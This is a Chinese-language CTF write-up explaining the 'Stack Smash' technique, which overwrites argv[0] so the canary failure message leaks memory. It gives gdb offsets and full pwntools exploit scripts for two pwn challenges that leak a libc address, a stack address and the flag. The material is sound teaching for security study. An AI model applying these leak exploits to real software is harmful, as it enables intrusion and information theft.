淺析ROP之Stack Smash
0x00 前言
Stack Smash 技巧算是 ROP 中一種比較巧妙的利用吧,在 ctf-wiki 上也說到了這個技巧。但是看完了也感覺是懵懵懂懂的,所以這裡結合例子再做一個更細緻的總結,涉及到的基本知識也會比較多。
0x01 預備知識
1.Linux的環境變數(environ)
第一種獲取環境變數的方法是使用getenv函式:
getenv能通過傳入鍵名的方法獲取到值
- 例如對於環境變數
LC_PAPER=zh_CN.UTF-8
,getenv(“LC_PAPER”)就可以獲取到他的值。
關於環境變數的詳細解釋可以看這裡:
ofollow,noindex" target="_blank">http://tacxingxing.com/2017/12/16/environ/區別於第一種只能獲取單個的環境變數,另一種方式是使用environ 變數來獲得 所有的環境變數的值
environ 變數作為一個指標指向了環境變數的字元指標陣列的首地址。
這裡就簡單演示一下 environ 變數的使用方法:
#include <unistd.h> #include <stdio.h> extern char **environ; int main(){ char **env = environ; while(*env){ printf("%sn",*env); env++; } exit(0); }
將這段程式碼編譯執行以後,可以看到將當前的環境變數全部打印出來了。
這裡我們只要知道 environ 變數的實際地址是指向棧的基地址(高地址)就行了。
2.canary 保護
Canary保護機制的原理,是在一個函式入口處從fs段內獲取一個隨機值,一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻擊者利用棧溢位修改到了這個值,導致該值與存入的值不一致,__stack_chk_fail函式將丟擲異常並退出程式。
也就是在當前函式的 EBP 和輸入點 插入一個 “cookie” 資訊 ,如果在棧溢位時將這個值覆蓋了,程式就會丟擲錯誤。
詳細的介紹和繞過可以看 這裡
0x02 Stack Smash
在程式加了canary 保護之後,如果我們讀取的 buffer 覆蓋了對應的值時,程式就會報錯,而一般來說我們並不會關心報錯資訊。而 stack smash 技巧則就是利用列印這一資訊的程式來得到我們想要的內容。這是因為在程式啟動 canary 保護之後,如果發現 canary 被修改的話,程式就會執行 __stack_chk_fail 函式來打印出 argv[0] 指標所指向的字串
我們通過Stack Smash的原始碼來分析一下:
void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy.*/ while (1) __libc_message (2, "*** %s ***: %s terminatedn", msg, __libc_argv[0] ?: "<unknown>"); }
stack_chk_fail 函式中呼叫了fortify_fail 函式,並傳入 msg:
stack smashing detected
之後對msg在 libc_message 函式中輸出, 這個函式還把 libc_argv[0] 作為引數輸出了。這個引數其實就是 argv[0] ,在命令列中也就是程式名
在程式執行時, argv[0] 會放在棧中, 利用棧溢位可以將這個值覆蓋為 got 表中的值 ,在執行 __stack_chk_fail 函式時,利用輸出資訊就可以輸出我們想要的 got 表資訊,又給了 libc 庫,進而可以得到 libc 的基地址。
得到基地址之後,我們可以進一步利用, 輸出棧地址以及棧中的資訊 。
0x03 例題
這裡拿一道網鼎杯的 pwn1-GUESS 來講解。
IDA中的題目程式碼
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax@9 __int64 v4; // rcx@13 __WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1 int v6; // [sp+1Ch] [bp-84h]@5 __int64 v7; // [sp+20h] [bp-80h]@1 __int64 v8; // [sp+28h] [bp-78h]@1 char buf; // [sp+30h] [bp-70h]@4 char s2; // [sp+60h] [bp-40h]@6 __int64 v11; // [sp+98h] [bp-8h]@1 v11 = *MK_FP(__FS__, 40LL); v8 = 3LL; LODWORD(stat_loc.__uptr) = 0; v7 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( v7 >= v8 ) { puts("you have no sense... bye :-) "); result = 0LL; goto LABEL_13; } v6 = sub_400A11(); if ( !v6 ) break; ++v7; wait(&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&buf, &s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); result = 0LL; LABEL_13: v4 = *MK_FP(__FS__, 40LL) ^ v11; return result; }
執行程式,程式會接收三次的輸入。

很明顯在gets函式處存在棧溢位,但是我們用 checksec(pwntools自帶) 檢查的時候, 發現存在 canary 保護,但是沒有PIE保護(堆疊地址空間隨機化) 。
這邊在反彙編程式碼可以看到在 main 函式結束時檢查了 canary 的值,與 rcx 進行比較, canary 的值是放在 fs 暫存器中的,理論上我們是不能正常查看了。
.text:0000000000400B8D loc_400B8D:; CODE XREF: main+11Aj .text:0000000000400B8Dmovrcx, [rbp+var_8] .text:0000000000400B91xorrcx, fs:28h .text:0000000000400B9Ajzshort locret_400BA1 .text:0000000000400B9Ccall___stack_chk_fail
所以這裡除非用爆破出 canary 值,否則就無法正常洩露得到他的值,但是我們可以使用上面說的 Stack Smash 技巧。

解題思路
我們這裡一步步來。
1.先 leak 出libc的基地址
要洩露出 libc 的基地址就要獲得某個函式在 got 表中的地址。 這裡的 got 表中的地址就用 Stack Smash 這個技巧來獲得。
首先用 gdb 在 gets 函式處下一個斷點
b *0x400b23
單步 n 之後,輸入一堆 aaa
- 這裡為了測試在本地新建了一個 flag 檔案,可以看到按照程式的正常流程走下去,此時 flag 已經被讀取到棧上了
然後使用 stack 20 這個命令來檢視棧上的資訊。
可以看到此時 0x7fffffffdf38
這個棧地址儲存的是 argv[0] 的值,也就是我們需要利用的值。
我們輸入的值(aaa…)是位於 0x7fffffffde10
的地址處,計算得到輸入到 argv[0] 的距離:

總共是 296 個位元組,也就是 0x128 的十進位制的值。
所以我們可以構造 payload , 此時 libc_start_main_got 的值就是我們需要洩露的 argv[0] 的值 :
payload = 'a' * 0x128 + p64(libc_start_main_got)
得到的值需要用 u64 函式進行解包(需要8個位元組), 所以需要用 ljust 進行左填充到8個位元組。
將得到的 got 表的真實地址減去 __libc_start_main 函式在 libc 庫中的偏移地址就得到了 libc 的基地址了。
第一步的exp:
from pwn import * #context.log_level = 'debug' p = process('./GUESS') LOCAL = 1 if LOCAL: libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so') else:#remote libc = ELF('libc-2.23.so') libc_start_main_got = 0x602048 libc_start_main_off = libc.symbols['__libc_start_main'] p.recvuntil('guessing flagn') payload = 'a' * 0x128 + p64(libc_start_main_got) p.sendline(payload) p.recvuntil('detected ***: ') libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00')) libc_base_addr = libc_start_main_addr - libc_start_main_off print 'Libc base addr: ' + hex(libc_base_addr)
2.leak 出棧的地址
這裡為什麼要 leak 出棧的地址呢? 是因為程式沒有開啟PIE保護,所以 environ 變數中存放的棧地址的值和 flag 的距離是不變的 ,我們如果得到了棧地址以後,算一下與 flag 的距離就可以 leak 出 flag 的值了。
根據上面所說的,要 leak 出棧的地址直接 leak 出 environ 變數的值 就行。
所以這裡根據得到 libc 的基地址加上 environ 變數在 libc 庫中的偏移就可以得到棧的地址。
exp如下:
environ_addr = libc_base_addr + libc.symbols['_environ'] payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'x00')) print "stack: "+hex(stack_addr)
- 這裡的 symbols 方法的鍵為 environ 或者 _environ 都是一樣的結果
如圖,這樣我們就得到棧的地址了。
- 這裡我在本地載入的 libc 庫和遠端的不同,所以地址會有所差異 。但是這裡有個小技巧即可以根據 libc 基地址後三位是否為0來判斷 libc 的基地址是否正確。
3.leak 出 flag 的值
還是在 gdb 中的呼叫 gets 函式處下斷點。
b *0x400b23
依舊是先 stack 20 輸出一下棧資訊,可以看到我們需要的 flag 的地址是
0x7fffffffdd30
使用 b *environ
直接可以檢視當前 environ 變數地址中存放的值(也就是棧的地址) ,再計算棧地址到 flag 的距離
在 gdb 中,看到了當前的棧地址為: 0x7fffffffde98
gdb-peda$ b * environ Breakpoint 2 at 0x7fffffffde98
所以可以計算出兩者的距離為 0x168:
gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30 $1 = 0x168
- 這裡是固定為 0x168 ,如果不信的話可以在 gdb 中多除錯幾次。
也就是說下次 leak 的時候,要得到 flag 的值, 直接使用棧的地址減去 0x168 就得到了 flag 的地址 ,再利用一次 Stack Smash 技巧洩露出 flag 的地址的值就行了。
也就是:
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
執行exp得到flag。
最後的exp:
from pwn import * #context.log_level = 'debug' p = process('./GUESS') LOCAL = 1 if LOCAL: libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so') else:#remote libc = ELF('libc-2.23.so') libc_start_main_got = 0x602048 libc_start_main_off = libc.symbols['__libc_start_main'] p.recvuntil('guessing flagn') payload = 'a' * 0x128 + p64(libc_start_main_got) p.sendline(payload) p.recvuntil('detected ***: ') libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00')) libc_base_addr = libc_start_main_addr - libc_start_main_off print 'Libc base addr: ' + hex(libc_base_addr) environ_addr = libc_base_addr + libc.symbols['_environ'] payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'x00')) print 'stack base addr: ' + hex(stack_addr) payload2 = 'a' * 0x128 + p64(stack_addr - 0x168) p.recvuntil('Please type your guessing flag') p.sendline(payload2) p.interactive()
這裡還有一道例題也是關於 Stack Smash 的(Smashes)
題目連結: https://www.jarvisoj.com/challenges
checksec
依舊先檢查一下程式的保護機制:

滿足 Stack Smash 的使用條件:
canary protect No PIE
IDA程式碼
在 _IO_gets 函式處存在棧溢位,還是按照套路來: 在gdb中檢視與 argv[0] 的偏移
輸出與 argv[0] 偏移為 0x218
gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70 $2 = 0x218
構造payload
payload = 'a' * 0x218 + p64(需要洩露的地址)
仔細看程式有一個 flag 的提示,也就是這個 flag 是在服務端的
在 gdb 中 find CTF
,發現了兩處的 flag,我們傳入上一處的地址
關於為什麼這麼傳入,可以看這裡:
https://blog.csdn.net/github_36788573/article/details/80693994最後的exp:
from pwn import * context.log_level = 'debug' LOCAL = 0 if LOCAL: r = process('./smashes') else: r = remote('pwn.jarvisoj.com',9877) payload = 'a' * 0x218 + p64(0x400D20) r.recvuntil("Hello!nWhat's your name? ") r.sendline(payload) r.interactive()
0x04 總結
Stack Smash 的適應條件:
- 開啟了 canary 保護
- 讀取了關鍵資訊(flag)到棧上,但是沒有開啟 PIE 保護